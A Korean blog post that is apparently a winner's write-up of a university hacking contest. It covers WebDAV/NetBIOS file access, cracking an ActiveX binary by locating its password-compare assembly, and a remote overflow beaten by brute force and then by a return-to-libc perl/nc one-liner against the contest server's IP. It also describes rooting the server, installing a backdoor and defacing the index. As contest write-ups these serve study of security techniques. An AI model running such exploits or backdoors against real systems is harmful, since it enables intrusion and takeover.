본문 바로가기
Security

대덕대 해킹대회 보고서

by Hide­ 2007. 3. 31.
반응형
안녕하세요?
beist 입니다.

먼저 대회를 주최해주신 대덕 대학과 그리고, 문제를 만드시고 관리하느라
고생하신 해커스랩에게도 감사의 말씀드립니다.

작년에 이어서 올해에도 운이 좋게 좋은 성적을 거두게 되었습니다. 입상자가
기술 문서를 작성하지 않아도 되는 대회라 많은 참가자분들이 문제의 풀이법을
궁금하게 생각할 것 같아서 이렇게 간단하게나마 풀이법을 올립니다.




레벨 1 은 여러 가지 방법이 있다고 합니다. netbios 와 webdav 등을 이용해서
(그 이외에도 더 있을지 모릅니다.) 풀 수 있습니다. \\level1 와 같은
방식으로 들어갈수도 있고, webdav Client 를 이용하여 level1 의 webdav 에
접속하여 특정 디렉토리의 내용을 볼 수 있었습니다. 여기서는 level1 디렉토리를
보는 것이 문제의 관건인데, 디렉토리 안을 보게 되면 level2 로 인증할 수 
있는 패스워드 파일이 담겨있기 때문입니다. 패스워드 파일을 읽고 다음 레벨로
인증을 할 수 있습니다.




레벨 2 는 Windows 어플리케이션 Crack 문제입니다. ActiveX 로 된 바이너리를
Crack 하는 문제입니다. 많은 분들이 여기서 고생을 하신 것 같습니다. 저는
W32Dasm 으로 디스어셈을 하고, 소프트 아이스를 이용하여 문제를 풀었습니다.
Crack 은 여러 가지 방법으로 할 수 있는데, 저는 암호를 비교하는 루틴 앞에서
프로그램을 멈추고, 각 레지스터에 무슨 값이 들어있는지 확인하는 방법으로
풀었습니다. 여기서 중요한 점은, 암호를 비교하는 부분을 정확히 찾아가는 방법
인데요, 많은 분들이 

mov eax, dword ptr[ebp-20]
mov edx, 0046D1E4
call 0040475c
jne 0046d189

이 곳을 암호 비교 루틴으로 생각하셔서 고생을 하신것 같은데, 이 부분은 암호
비교 문이 아니라 사용자가 입력한 ID 가 admin 인지 맞는지 확인하는 부분입니다.
(주소 값은 상대값이라 다른 분들 컴퓨터에선 다르게 나올 수 있습니다.) 실제로
0046d189 루틴을 살펴보면 no such a user 메세지를 출력하는 것을 볼 수 있습니다.

암호를 비교하는 곳은 위 루틴의 밑에 있는

mov eax, dword ptr[ebp-24]
mov edx, dword ptr[ebp-0c]
call 0040475c
jne 0046d17d

이 곳입니다. 여기서 step 을 진행하면서 call 앞에서 커서를 맞춘 후, d eax 나
d edx 등으로 값을 확인하면 암호를 볼 수 있습니다. (jne 부분을 no operation
등을 처리한 패치는 소용이 없습니다. 왜냐하면 암호를 알아내야 다음 레벨을
인증할 수 있기 때문입니다.)





level3 은 일반적인 remote overflow 문제입니다. 문제는 랜덤 스택입니다. 저는
이때 선두를 달리고 있었는데 이 상황에서 랜덤 스택을 가장 빨리 깰 수 있는 방법은 
뭐니뭐니 해도 brute force 입니다. 랜덤 스택이라고 해봤자 원래 스택 자체의 
크기가 광범위하게 큰 것이 아니기 때문입니다. Oneshot(제가 임의로 붙였습니다.) 
exploit 을 만드는 것은 일단 레벨을 깨고 나서 인증을 한 후에, 만드는 것도 늦지 
않다고 생각했습니다. 어쨌거나 소스를 분석하고 공격해야할 버퍼를 보니까 다음과 
같이 하면 되겠더군요.

[LOGR ]+[86바이트NOP]+[24바이트Shellcode]+[4바이트Returnaddress]

랜덤 스택이지만 brute force 잘만하면 1 분내에 쉘 떨어집니다. 쉘을 얻으면
디렉토리에 레벨3 을 인증할 수 있는 파일이 보이고, 그 파일을 이용하여 인증을
하면 됩니다.

Oneshot Exploit 은 RTL 기법을 이용해서 쉽게 짤 수 있습니다. 서버 내에서 조사한
각 값들입니다. 

System = 0x4203f2c0 
/bin/sh = 0x42127ea4

이 것을 이용하여 공격 명령어를 살펴보면

(perl -e 'print "LOGR ", "\x90"x110, "\xc0\xf2\x03\x42"x1,"\xa4\x7e\x12\x42"x2';cat)|nc 203.235.27.250 5888

[LOGR ]+[110바이트NOP]+[4바이트SYSTEM주소]+[4바이트Dummy]+[4바이트/bin/sh주소]

위와 같습니다.

커널이 컴파일될때 매핑되는 주소이므로 시스템이 DoS 로 인해
다운되어 다시 부팅된다고 하더라도, 위 명령어 한번이면 brute force 공격이
필요 없이 Oneshot 에 level3 shell 을 얻을 수 있습니다.





level3 을 가장 먼저 깨고 나서 서버를 살펴봤습니다. 혹시나 커널 버그가 있을까?
라고 의아하면서 exploit 을 돌려보니 버그가 있더군요. (무분별한 index 먹기를
막기 위해서 주최측에서 일부러 배려해주신것 같습니다.) root 를 따고 다른 사람이
root 를 따는 것을 막기 위해, 커널 패치와 백도어 설치등 기타 여러 가지 작업들을 
하였습니다. index 를 "Welcome to beist World. Sejong JJang." 으로 바꾸고
초조한 마음으로 서버를 지켜보기 시작했습니다.

대회 종료까지 특별한 일은 없었습니다. 대회 종료 시각 5 분 전에 알람이 울리도록 
맞추고 대회 종료 25 분 전에 잠이 들었습니다. 그러다.. 12 시 12 분에 대덕 대학
으로부터 입상자 알림 전화를 받았습니다. 알람을 못 듣고 자버린 것이죠.. 하하

다행이도 Root 를 획득한 참가자가 없어서 1 등을 지킬 수 있었습니다. 

이번 대회는 저에게 운이 있어 유리했던 대회였던것 같습니다. 저는 원래 
Windows Crack 을 알고 있던 상태였기 때문에 level2 를 금방 풀 수 있었습니다. 
리눅스에서 시스템 해킹할 때 디스어셈을 많이하는 다른 해커분들도, 윈도우 
Crack 에 대해서 조금만 알고 계셨다면 쉽게 하실수 있으셨을거라 생각합니다.




여담으로, 이번 대회는 상장이 작년보다 좋아졌더라고요. 상을 받기 위해서 대회
열리기 전부터 평소보다 더 많이 공부했는데 (공부했던 것은 안나왔지만) 그
덕인지 좋은 성적 거두게 된 것 같습니다. 00:00~10:00 시까지 대회에 참가를
하다가, 10:00~15:00 까지 자고 나머지 시간에 또 대회에 참가했습니다. 그리고
하루 금요일부터 월요일 새벽 지금까지 집에 앉아서 피자만 먹고 생활했네요. 하하




다른 입상자분들에게도 축하의 말씀드리고 싶습니다. 우리 학교는 해킹 대회에 
관련된 장학금이 없어서 슬프네요. 두서 없는 글 너그러운 마음으로 봐주시고요.

그럼 모두 좋은 밤 되시고요.. 벌써 시간이 많이 늦었네요. 지금 TV 에서 뮤지션
이라는 프로그램에, 많은 가수들이 모여 평화에 대한 노래를 부르고 있네요. 하하
세계 평화를 기원하며!!

'Security' 카테고리의 다른 글

Stack BOF  (0) 2007.04.01
XSS - 실전사용예제2  (0) 2007.04.01
제 3회 순천향대학교 정보보호 페스티벌 보고서  (0) 2007.03.31
제3회 HUST 해킹대회 보고서  (0) 2007.03.31
AHF 2005 보고서  (0) 2007.03.31